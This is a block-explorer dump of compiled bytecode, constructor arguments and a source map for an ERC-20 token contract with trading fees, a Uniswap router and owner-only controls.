b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906105b29086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b031633146105ee5760405162461bcd60e51b815260040161054290611762565b600d54600160b01b900460ff16156106485760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610542565b600d805462ffffff60a01b19166201010160a01b179055565b6000546001600160a01b0316331461068b5760405162461bcd60e51b815260040161054290611762565b600047116106d45760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b6044820152606401610542565b60405133904780156108fc02916000818181858888f19350505050158015610700573d6000803e3d6000fd5b50565b6001600160a01b0383166000908152600860209081526040808320338452909152812054600019146107b0576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b038716600090815260088252838120338252909152919091205461078b918490610af3565b6001600160a01b03851660009081526008602090815260408083203384529091529020555b6107bb848484610b2d565b90505b9392505050565b6000546001600160a01b031633146107ef5760405162461bcd60e51b815260040161054290611762565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610853573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108779190611782565b6001600160a01b031663c9c6539630600d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fd9190611782565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561094a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096e9190611782565b600c80546001600160a01b0319166001600160a01b039283169081179091556000908152600a60209081526040808320805460ff191660011790553080845260088352818420600d805487168652908452828520600019905554818552600790935292205492169163f305d7199147916000805460405160e087901b6001600160e01b03191681526001600160a01b03948516600482015260248101939093526044830182905260648301919091529190911660848201524260a482015260c40160606040518083038185885af1158015610a4d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a72919061179f565b505050565b6000546001600160a01b03163314610aa15760405162461bcd60e51b815260040161054290611762565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b60006107be338484610b2d565b60008184841115610b175760405162461bcd60e51b8152600401610542919061163c565b506000610b2484866117e3565b95945050505050565b60006001600160a01b038416610b935760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610542565b6001600160a01b038316610bf55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610542565b60008211610c575760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610542565b601554600090819060ff1615610c7b57610c72868686610eb5565b925050506107be565b6001600160a01b03861660009081526009602052604090205460ff16158015610cbd57506001600160a01b03851660009081526009602052604090205460ff16155b15610d1257600d54600160b01b900460ff16610d125760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b6044820152606401610542565b600d54600160a01b900460ff16610d2e57610c72868686610eb5565b600c546001600160a01b03868116911614801590610d5a57506002546001600160a01b03868116911614155b8015610d7f57506001600160a01b03861660009081526009602052604090205460ff16155b8015610da457506001600160a01b03851660009081526009602052604090205460ff16155b15610e58576001600160a01b0385166000908152600a602052604090205460ff1680610df557506004546001600160a01b038616600090815260076020526040902054610df29086906117f6565b11155b610e4f5760405162461bcd60e51b815260206004820152602560248201527f5472616e7366657220616d6f756e74206578636565647320746865206261672060448201526439b4bd329760d91b6064820152608401610542565b610e5886610f9b565b6001600160a01b03861660009081526009602052604090205460ff16159150610e818686610fc9565b9050610e8e828286611014565b15610e9c57610e9c84611096565b610ea9868686858561125c565b50600195945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600790915291822054610f06918490610af3565b6001600160a01b038086166000908152600760205260408082209390935590851681522054610f3590836113b9565b6001600160a01b0380851660008181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f899086815260200190565b60405180910390a35060019392505050565b600c546001600160a01b03908116908216036107005760148054906000610fc183611809565b919050555050565b600c5460009081906001600160a01b0390811690841603610fec575060026107be565b600c546001600160a01b039081169085160361100a575060016107be565b5060009392505050565b600554600090828261103b306001600160a01b031660009081526007602052604090205490565b90506000838211801561104d57508383115b60155490915060ff161580156110605750875b801561106c5750600187115b80156110755750805b801561108a5750600d54600160a01b900460ff165b98975050505050505050565b6015805460ff1916600117905530600090815260076020526040812054905060006110cc836110c784600654611418565b611418565b6040805160028082526060820183529293506000929091602083019080368337019050509050308160008151811061110657611106611822565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561115f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111839190611782565b8160018151811061119657611196611822565b6001600160a01b039283166020918202929092010152600d5460405163791ac94760e01b815291169063791ac947906111dc908590600090869030904290600401611838565b600060405180830381600087803b1580156111f657600080fd5b505af115801561120a573d6000803e3d6000fd5b5050600b546040514793506001600160a01b03909116915082156108fc029083906000818181858888f1935050505015801561124a573d6000803e3d6000fd5b50506015805460ff1916905550505050565b60008261128a57600d54600160a81b900460ff1661127a578361128c565b61128582848661142d565b61128c565b835b600d54909150600090600160a81b900460ff1680156112a85750835b6112b257846112bd565b6112bd83858761142d565b90506113258260405180604001604052806014815260200173496e73756666696369656e742042616c616e636560601b815250600760008b6001600160a01b03166001600160a01b0316815260200190815260200160002054610af39092919063ffffffff16565b6001600160a01b03808916600090815260076020526040808220939093559088168152205461135490826113b9565b6001600160a01b0380881660008181526007602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113a89085815260200190565b60405180910390a350505050505050565b6000806113c683856117f6565b9050838110156107be5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610542565b600081831161142757826107be565b50919050565b60008060648461143e576001611487565b600186116114705760008611611455576000611487565b6012546014541161146857600e54611487565b601054611487565b6013546014541161148357600f54611487565b6011545b9150600061149f826114998786611508565b9061158a565b306000908152600760205260409020549091506114bc90826113b9565b30600090815260076020526040902055856114ef576114ea826114996114e38660646118a9565b8890611508565b6114f1565b805b90506114fd85826115cc565b979650505050505050565b60008260000361151a575060006105be565b600061152683856118a9565b90508261153385836118c0565b146107be5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610542565b60006107be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061160e565b60006107be83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610af3565b6000818361162f5760405162461bcd60e51b8152600401610542919061163c565b506000610b2484866118c0565b600060208083528351808285015260005b818110156116695785810183015185820160400152820161164d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461070057600080fd5b600080604083850312156116b257600080fd5b82356116bd8161168a565b946020939093013593505050565b6000806000606084860312156116e057600080fd5b83356116eb8161168a565b925060208401356116fb8161168a565b929592945050506040919091013590565b60006020828403121561171e57600080fd5b81356107be8161168a565b6000806040838503121561173c57600080fd5b82356117478161168a565b915060208301356117578161168a565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b60006020828403121561179457600080fd5b81516107be8161168a565b6000806000606084860312156117b457600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b818103818111156105be576105be6117cd565b808201808211156105be576105be6117cd565b60006001820161181b5761181b6117cd565b5060010190565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118885784516001600160a01b031683529383019391830191600101611863565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176105be576105be6117cd565b6000826118dd57634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122069aa337303dadc2a723004882b3c078c82e5b826fd5aab57b39d09b653951c9364736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000083b08184a925a99c82443235d15d0117861012b2
-----Decoded View---------------
Arg [0] : vegaWallet (address): 0x83B08184a925A99c82443235d15D0117861012b2
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000083b08184a925a99c82443235d15d0117861012b2
Deployed Bytecode Sourcemap
5326:10142:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14720:133;;;;;;;;;;;;;:::i;:::-;;;179:14:1;;172:22;154:41;;142:2;127:18;14720:133:0;;;;;;;;7957:94;;;;;;;;;;-1:-1:-1;8038:5:0;;;;;;;;;;;;-1:-1:-1;;;8038:5:0;;;;7957:94;;;;;;;:::i;6307:31::-;;;;;;;;;;-1:-1:-1;6307:31:0;;;;-1:-1:-1;;;6307:31:0;;;;;;9025:248;;;;;;;;;;-1:-1:-1;9025:248:0;;;;;:::i;:::-;;:::i;5800:58::-;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5800:58:0;1215:177:1;5865:52:0;;;;;;;;;;;;;;;;7750:199;;;;;;;;;;;;;:::i;:::-;;8059:102;;;;;;;;;;-1:-1:-1;8141:12:0;;8059:102;;14861:191;;;;;;;;;;;;;:::i;10063:424::-;;;;;;;;;;-1:-1:-1;10063:424:0;;;;;:::i;:::-;;:::i;3308:103::-;;;;;;;;;;-1:-1:-1;3308:103:0;;;;;:::i;:::-;3363:4;3398:5;-1:-1:-1;;;;;3387:16:0;;;3398:5;;3387:16;;3308:103;8169:94;;;;;;;;;;-1:-1:-1;8169:94:0;;5658:2;2252:36:1;;2240:2;2225:18;8169:94:0;2110:184:1;7237:505:0;;;;;;;;;;;;;:::i;5669:59::-;;;;;;;;;;;;;;;;5735:58;;;;;;;;;;;;;;;;6231:31;;;;;;;;;;-1:-1:-1;6231:31:0;;;;-1:-1:-1;;;6231:31:0;;;;;;6128:25;;;;;;;;;;-1:-1:-1;6128:25:0;;;;-1:-1:-1;;;;;6128:25:0;;;;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;6128:25:0;2299:203:1;8477:119:0;;;;;;;;;;-1:-1:-1;8477:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;8570:18:0;8543:7;8570:18;;;:9;:18;;;;;;;8477:119;3419:131;;;;;;;;;;;;;:::i;8377:92::-;;;;;;;;;;-1:-1:-1;8429:7:0;8456:5;-1:-1:-1;;;;;8456:5:0;8377:92;;8271:98;;;;;;;;;;-1:-1:-1;8354:7:0;;;;;;;;;;;;-1:-1:-1;;;8354:7:0;;;;8271:98;;6269:31;;;;;;;;;;-1:-1:-1;6269:31:0;;;;-1:-1:-1;;;6269:31:0;;;;;;6160:19;;;;;;;;;;-1:-1:-1;6160:19:0;;;;-1:-1:-1;;;;;6160:19:0;;;9867:188;;;;;;;;;;-1:-1:-1;9867:188:0;;;;;:::i;:::-;;:::i;6188:34::-;;;;;;;;;;-1:-1:-1;6188:34:0;;;;-1:-1:-1;;;;;6188:34:0;;;8829:188;;;;;;;;;;-1:-1:-1;8829:188:0;;;;;:::i;:::-;-1:-1:-1;;;;;8981:19:0;;;8949:7;8981:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;8829:188;14720:133;14775:4;3398:5;;-1:-1:-1;;;;;3398:5:0;3258:10;3387:16;3242:38;;;;-1:-1:-1;;;3242:38:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;14811:12:0::1;::::0;14792:16:::1;:31:::0;14841:4:::1;14720:133:::0;:::o;9025:248::-;9161:10;9127:4;9149:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;9149:32:0;;;;;;;;;;:41;;;9206:37;9127:4;;9149:32;;9206:37;;;;9184:6;1361:25:1;;1349:2;1334:18;;1215:177;9206:37:0;;;;;;;;-1:-1:-1;9261:4:0;9025:248;;;;;:::o;7750:199::-;3363:4;3398:5;-1:-1:-1;;;;;3398:5:0;3258:10;3387:16;3242:38;;;;-1:-1:-1;;;3242:38:0;;;;;;;:::i;:::-;7814:11:::1;::::0;-1:-1:-1;;;7814:11:0;::::1;;;7813:12;7805:47;;;::::0;-1:-1:-1;;;7805:47:0;;3667:2:1;7805:47:0::1;::::0;::::1;3649:21:1::0;3706:2;3686:18;;;3679:30;3745:25;3725:18;;;3718:53;3788:18;;7805:47:0::1;3465:347:1::0;7805:47:0::1;7865:11;:18:::0;;-1:-1:-1;;;;7923:18:0;-1:-1:-1;;;7923:18:0;;;7750:199::o;14861:191::-;3363:4;3398:5;-1:-1:-1;;;;;3398:5:0;3258:10;3387:16;3242:38;;;;-1:-1:-1;;;3242:38:0;;;;;;;:::i;:::-;14954:1:::1;14930:21;:25;14922:60;;;::::0;-1:-1:-1;;;14922:60:0;;4019:2:1;14922:60:0::1;::::0;::::1;4001:21:1::0;4058:2;4038:18;;;4031:30;-1:-1:-1;;;4077:18:1;;;4070:52;4139:18;;14922:60:0::1;3817:346:1::0;14922:60:0::1;14993:51;::::0;15001:10:::1;::::0;15022:21:::1;14993:51:::0;::::1;;;::::0;::::1;::::0;;;15022:21;15001:10;14993:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;14861:191::o:0;10063:424::-;-1:-1:-1;;;;;10218:19:0;;10197:4;10218:19;;;:11;:19;;;;;;;;10238:10;10218:31;;;;;;;;-1:-1:-1;;10218:52:0;10214:206;;10321:87;;;;;;;;;;;-1:-1:-1;;;10321:87:0;;;;;;;;-1:-1:-1;;;;;10321:19:0;;-1:-1:-1;10321:19:0;;;:11;:19;;;;;10341:10;10321:31;;;;;;;;;;:87;;10375:6;;10321:53;:87::i;:::-;-1:-1:-1;;;;;10287:19:0;;;;;;:11;:19;;;;;;;;10307:10;10287:31;;;;;;;:121;10214:206;10439:40;10453:6;10461:9;10472:6;10439:13;:40::i;:::-;10432:47;;10063:424;;;;;;:::o;7237:505::-;3363:4;3398:5;-1:-1:-1;;;;;3398:5:0;3258:10;3387:16;3242:38;;;;-1:-1:-1;;;3242:38:0;;;;;;;:::i;:::-;7304:11:::1;:73:::0;;-1:-1:-1;;;;;;7304:73:0::1;7334:42;7304:73:::0;;::::1;::::0;;;7412:21:::1;::::0;;-1:-1:-1;;;7412:21:0;;;;:19:::1;::::0;:21:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;7334:42;7412:21:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7395:50:0::1;;7454:4;7461:11;;;;;;;;;-1:-1:-1::0;;;;;7461:11:0::1;-1:-1:-1::0;;;;;7461:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7395:85;::::0;-1:-1:-1;;;;;;7395:85:0::1;::::0;;;;;;-1:-1:-1;;;;;4654:15:1;;;7395:85:0::1;::::0;::::1;4636:34:1::0;4706:15;;4686:18;;;4679:43;4571:18;;7395:85:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7388:4;:92:::0;;-1:-1:-1;;;;;;7388:92:0::1;-1:-1:-1::0;;;;;7388:92:0;;::::1;::::0;;::::1;::::0;;;-1:-1:-1;7491:21:0;;;:15:::1;:21;::::0;;;;;;;:28;;-1:-1:-1;;7491:28:0::1;-1:-1:-1::0;7491:28:0::1;::::0;;7552:4:::1;7532:26:::0;;;:11:::1;:26:::0;;;;;7567:11:::1;::::0;;;::::1;7532:48:::0;;;;;;;;-1:-1:-1;;7532:68:0;;7611:11;8570:18;;;:9;:18;;;;;;7611:11;::::1;::::0;:27:::1;::::0;7646:21:::1;::::0;7708:1:::1;7712:5:::0;;7611:123:::1;::::0;::::1;::::0;;;-1:-1:-1;;;;;;7611:123:0;;;-1:-1:-1;;;;;5092:15:1;;;7611:123:0::1;::::0;::::1;5074:34:1::0;5124:18;;;5117:34;;;;5167:18;;;5160:34;;;5210:18;;;5203:34;;;;7712:5:0;;;::::1;5253:19:1::0;;;5246:44;7718:15:0::1;5306:19:1::0;;;5299:35;5008:19;;7611:123:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;7237:505::o:0;3419:131::-;3363:4;3398:5;-1:-1:-1;;;;;3398:5:0;3258:10;3387:16;3242:38;;;;-1:-1:-1;;;3242:38:0;;;;;;;:::i;:::-;3492:1:::1;3476:18:::0;;-1:-1:-1;;;;;;3476:18:0::1;::::0;;3510:32:::1;::::0;2445:51:1;;;3510:32:0::1;::::0;2433:2:1;2418:18;3510:32:0::1;;;;;;;3419:131::o:0;9867:188::-;9974:4;10003:44;10017:10;10029:9;10040:6;10003:13;:44::i;1175:224::-;1295:7;1331:12;1323:6;;;;1315:29;;;;-1:-1:-1;;;1315:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1355:9:0;1367:5;1371:1;1367;:5;:::i;:::-;1355:17;1175:224;-1:-1:-1;;;;;1175:224:0:o;11796:1443::-;11922:4;-1:-1:-1;;;;;11949:20:0;;11941:70;;;;-1:-1:-1;;;11941:70:0;;6123:2:1;11941:70:0;;;6105:21:1;6162:2;6142:18;;;6135:30;6201:34;6181:18;;;6174:62;-1:-1:-1;;;6252:18:1;;;6245:35;6297:19;;11941:70:0;5921:401:1;11941:70:0;-1:-1:-1;;;;;12030:23:0;;12022:71;;;;-1:-1:-1;;;12022:71:0;;6529:2:1;12022:71:0;;;6511:21:1;6568:2;6548:18;;;6541:30;6607:34;6587:18;;;6580:62;-1:-1:-1;;;6658:18:1;;;6651:33;6701:19;;12022:71:0;6327:399:1;12022:71:0;12121:1;12112:6;:10;12104:64;;;;-1:-1:-1;;;12104:64:0;;6933:2:1;12104:64:0;;;6915:21:1;6972:2;6952:18;;;6945:30;7011:34;6991:18;;;6984:62;-1:-1:-1;;;7062:18:1;;;7055:39;7111:19;;12104:64:0;6731:405:1;12104:64:0;12233:6;;12181:12;;;;12233:6;;12229:87;;;12263:41;12278:6;12286:9;12297:6;12263:14;:41::i;:::-;12256:48;;;;;;12229:87;-1:-1:-1;;;;;12332:19:0;;;;;;:11;:19;;;;;;;;12331:20;:47;;;;-1:-1:-1;;;;;;12356:22:0;;;;;;:11;:22;;;;;;;;12355:23;12331:47;12328:121;;;12402:11;;-1:-1:-1;;;12402:11:0;;;;12394:43;;;;-1:-1:-1;;;12394:43:0;;7343:2:1;12394:43:0;;;7325:21:1;7382:2;7362:18;;;7355:30;-1:-1:-1;;;7401:18:1;;;7394:50;7461:18;;12394:43:0;7141:344:1;12394:43:0;12465:11;;-1:-1:-1;;;12465:11:0;;;;12461:92;;12500:41;12515:6;12523:9;12534:6;12500:14;:41::i;12461:92::-;12583:4;;-1:-1:-1;;;;;12570:17:0;;;12583:4;;12570:17;;;;:38;;-1:-1:-1;12604:4:0;;-1:-1:-1;;;;;12591:17:0;;;12604:4;;12591:17;;12570:38;:62;;;;-1:-1:-1;;;;;;12613:19:0;;;;;;:11;:19;;;;;;;;12612:20;12570:62;:89;;;;-1:-1:-1;;;;;;12637:22:0;;;;;;:11;:22;;;;;;;;12636:23;12570:89;12566:362;;;-1:-1:-1;;;;;12702:26:0;;;;;;:15;:26;;;;;;;;;:100;;-1:-1:-1;12786:16:0;;-1:-1:-1;;;;;12753:20:0;;;;;;:9;:20;;;;;;:29;;12776:6;;12753:29;:::i;:::-;:49;;12702:100;12676:199;;;;-1:-1:-1;;;12676:199:0;;7822:2:1;12676:199:0;;;7804:21:1;7861:2;7841:18;;;7834:30;7900:34;7880:18;;;7873:62;-1:-1:-1;;;7951:18:1;;;7944:35;7996:19;;12676:199:0;7620:401:1;12676:199:0;12892:24;12909:6;12892:16;:24::i;:::-;-1:-1:-1;;;;;8794:19:0;;8769:4;8794:19;;;:11;:19;;;;;;;;8793:20;12940:28;;12989:36;13007:6;13015:9;12989:17;:36::i;:::-;12979:46;;13042:36;13053:7;13062;13071:6;13042:10;:36::i;:::-;13038:97;;;13095:28;13116:6;13095:20;:28::i;:::-;13147:60;13163:6;13171:9;13182:6;13190:7;13199;13147:15;:60::i;:::-;-1:-1:-1;13227:4:0;;11796:1443;-1:-1:-1;;;;;11796:1443:0:o;15064:401::-;15228:90;;;;;;;;;;;-1:-1:-1;;;15228:90:0;;;;;;;;-1:-1:-1;;;;;15228:17:0;;15191:4;15228:17;;;:9;:17;;;;;;;:90;;15264:6;;15228:21;:90::i;:::-;-1:-1:-1;;;;;15208:17:0;;;;;;;:9;:17;;;;;;:110;;;;15352:20;;;;;;;:32;;15377:6;15352:24;:32::i;:::-;-1:-1:-1;;;;;15329:20:0;;;;;;;:9;:20;;;;;;;:55;;;;15400:35;;;;;;;;;;15428:6;1361:25:1;;1349:2;1334:18;;1215:177;15400:35:0;;;;;;;;-1:-1:-1;15453:4:0;15064:401;;;;;:::o;11306:127::-;11381:4;;-1:-1:-1;;;;;11381:4:0;;;11371:14;;;;11368:58;;11402:10;:12;;;:10;:12;;;:::i;:::-;;;;;;11306:127;:::o;11441:347::-;11577:4;;11517;;;;-1:-1:-1;;;;;11577:4:0;;;11571:10;;;;11568:168;;-1:-1:-1;11611:1:0;11568:168;;;11642:4;;-1:-1:-1;;;;;11642:4:0;;;11634:12;;;;11630:106;;-1:-1:-1;11676:1:0;11630:106;;;-1:-1:-1;11723:1:0;11763:10;11441:347;-1:-1:-1;;;11441:347:0:o;9326:533::-;9461:14;;9414:4;;9510:6;9414:4;9559:24;9577:4;-1:-1:-1;;;;;8570:18:0;8543:7;8570:18;;;:9;:18;;;;;;;8477:119;9559:24;9527:56;;9596:15;9638:17;9614:21;:41;:78;;;;;9675:17;9659:13;:33;9614:78;9726:6;;9596:96;;-1:-1:-1;9726:6:0;;9725:7;:31;;;;;9749:7;9725:31;:71;;;;;9795:1;9785:7;:11;9725:71;:98;;;;;9813:10;9725:98;:126;;;;-1:-1:-1;9840:11:0;;-1:-1:-1;;;9840:11:0;;;;9725:126;9705:146;9326:533;-1:-1:-1;;;;;;;;9326:533:0:o;14015:689::-;6671:6;:13;;-1:-1:-1;;6671:13:0;6680:4;6671:13;;;14151:4:::1;-1:-1:-1::0;8570:18:0;;;:9;:18;;;;;;14102:55:::1;;14168:20;14191:51;14195:6;14203:38;14207:20;14229:11;;14203:3;:38::i;:::-;14191:3;:51::i;:::-;14279:16;::::0;;14293:1:::1;14279:16:::0;;;;;::::1;::::0;;14168:74;;-1:-1:-1;14255:21:0::1;::::0;14279:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;14279:16:0::1;14255:40;;14324:4;14306;14311:1;14306:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14306:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;14350:11:::1;::::0;:18:::1;::::0;;-1:-1:-1;;;14350:18:0;;;;:11;;;::::1;::::0;:16:::1;::::0;:18:::1;::::0;;::::1;::::0;14306:7;;14350:18;;;;;:11;:18:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14340:4;14345:1;14340:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14340:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;14381:11:::1;::::0;:193:::1;::::0;-1:-1:-1;;;14381:193:0;;:11;::::1;::::0;:62:::1;::::0;:193:::1;::::0;14458:12;;14381:11:::1;::::0;14501:4;;14528::::1;::::0;14548:15:::1;::::0;14381:193:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;14656:10:0::1;::::0;14648:48:::1;::::0;14616:21:::1;::::0;-1:-1:-1;;;;;;14656:10:0;;::::1;::::0;-1:-1:-1;14648:48:0;::::1;;;::::0;14616:21;;14587:26:::1;14648:48:::0;14587:26;14648:48;14616:21;14656:10;14648:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6707:6:0;:14;;-1:-1:-1;;6707:14:0;;;-1:-1:-1;;;;14015:689:0:o;13247:760::-;13424:20;13447:7;:133;;13480:11;;-1:-1:-1;;;13480:11:0;;;;:100;;13573:7;13447:133;;13480:100;13507:49;13531:6;13539:7;13548;13507:23;:49::i;:::-;13447:133;;;13470:7;13447:133;13619:11;;13424:156;;-1:-1:-1;13593:23:0;;-1:-1:-1;;;13619:11:0;;;;:22;;;;;13634:7;13619:22;:110;;13722:7;13619:110;;;13657:49;13681:6;13689:7;13698;13657:23;:49::i;:::-;13593:136;;13762:96;13798:12;13762:96;;;;;;;;;;;;;-1:-1:-1;;;13762:96:0;;;:9;:17;13772:6;-1:-1:-1;;;;;13762:17:0;-1:-1:-1;;;;;13762:17:0;;;;;;;;;;;;;:21;;:96;;;;;:::i;:::-;-1:-1:-1;;;;;13742:17:0;;;;;;;:9;:17;;;;;;:116;;;;13894:20;;;;;;;:41;;13919:15;13894:24;:41::i;:::-;-1:-1:-1;;;;;13871:20:0;;;;;;;:9;:20;;;;;;;:64;;;;13953:44;;;;;;;;;;13981:15;1361:25:1;;1349:2;1334:18;;1215:177;13953:44:0;;;;;;;;13411:596;;13247:760;;;;;:::o;844:179::-;902:7;;934:5;938:1;934;:5;:::i;:::-;922:17;;963:1;958;:6;;950:46;;;;-1:-1:-1;;;950:46:0;;9617:2:1;950:46:0;;;9599:21:1;9656:2;9636:18;;;9629:30;9695:29;9675:18;;;9668:57;9742:18;;950:46:0;9415:351:1;8604:98:0;8661:7;8688:1;8686;:3;8685:9;;8693:1;8685:9;;;-1:-1:-1;8691:1:0;8604:98;-1:-1:-1;8604:98:0:o;10543:755::-;10656:7;;10743:3;10774:7;:206;;10979:1;10774:206;;;10807:1;10798:6;:10;:178;;10897:1;10888:6;:10;:88;;10975:1;10798:178;;10888:88;10927:15;;10916:10;;:26;:55;;10960:11;;10798:178;;10916:55;10945:12;;10798:178;;;10837:16;;10826:10;;:27;:58;;10872:12;;10826:58;;;10856:13;;10826:58;10759:221;-1:-1:-1;10993:18:0;11014:51;11044:20;11014:25;:7;10759:221;11014:11;:25::i;:::-;:29;;:51::i;:::-;11121:4;11103:24;;;;:9;:24;;;;;;10993:72;;-1:-1:-1;11103:40:0;;10993:72;11103:28;:40::i;:::-;11094:4;11076:24;;;;:9;:24;;;;;:67;11167:7;:80;;11190:57;11226:20;11190:31;11202:18;:12;11217:3;11202:18;:::i;:::-;11190:7;;:11;:31::i;:57::-;11167:80;;;11177:10;11167:80;11154:93;-1:-1:-1;11267:23:0;:7;11154:93;11267:11;:23::i;:::-;11260:30;10543:755;-1:-1:-1;;;;;;;10543:755:0:o;1407:246::-;1465:7;1489:1;1494;1489:6;1485:47;;-1:-1:-1;1519:1:0;1512:8;;1485:47;1542:9;1554:5;1558:1;1554;:5;:::i;:::-;1542:17;-1:-1:-1;1587:1:0;1578:5;1582:1;1542:17;1578:5;:::i;:::-;:10;1570:56;;;;-1:-1:-1;;;1570:56:0;;10368:2:1;1570:56:0;;;10350:21:1;10407:2;10387:18;;;10380:30;10446:34;10426:18;;;10419:62;-1:-1:-1;;;10497:18:1;;;10490:31;10538:19;;1570:56:0;10166:397:1;1661:132:0;1719:7;1746:39;1750:1;1753;1746:39;;;;;;;;;;;;;;;;;:3;:39::i;1031:136::-;1089:7;1116:43;1120:1;1123;1116:43;;;;;;;;;;;;;;;;;:3;:43::i;1801:223::-;1921:7;1956:12;1949:5;1941:28;;;;-1:-1:-1;;;1941:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1980:9:0;1992:5;1996:1;1992;:5;:::i;206:548:1:-;318:4;347:2;376;365:9;358:21;408:6;402:13;451:6;446:2;435:9;431:18;424:34;476:1;486:140;500:6;497:1;494:13;486:140;;;595:14;;;591:23;;585:30;561:17;;;580:2;557:26;550:66;515:10;;486:140;;;490:3;675:1;670:2;661:6;650:9;646:22;642:31;635:42;745:2;738;734:7;729:2;721:6;717:15;713:29;702:9;698:45;694:54;686:62;;;;206:548;;;;:::o;759:131::-;-1:-1:-1;;;;;834:31:1;;824:42;;814:70;;880:1;877;870:12;895:315;963:6;971;1024:2;1012:9;1003:7;999:23;995:32;992:52;;;1040:1;1037;1030:12;992:52;1079:9;1066:23;1098:31;1123:5;1098:31;:::i;:::-;1148:5;1200:2;1185:18;;;;1172:32;;-1:-1:-1;;;895:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;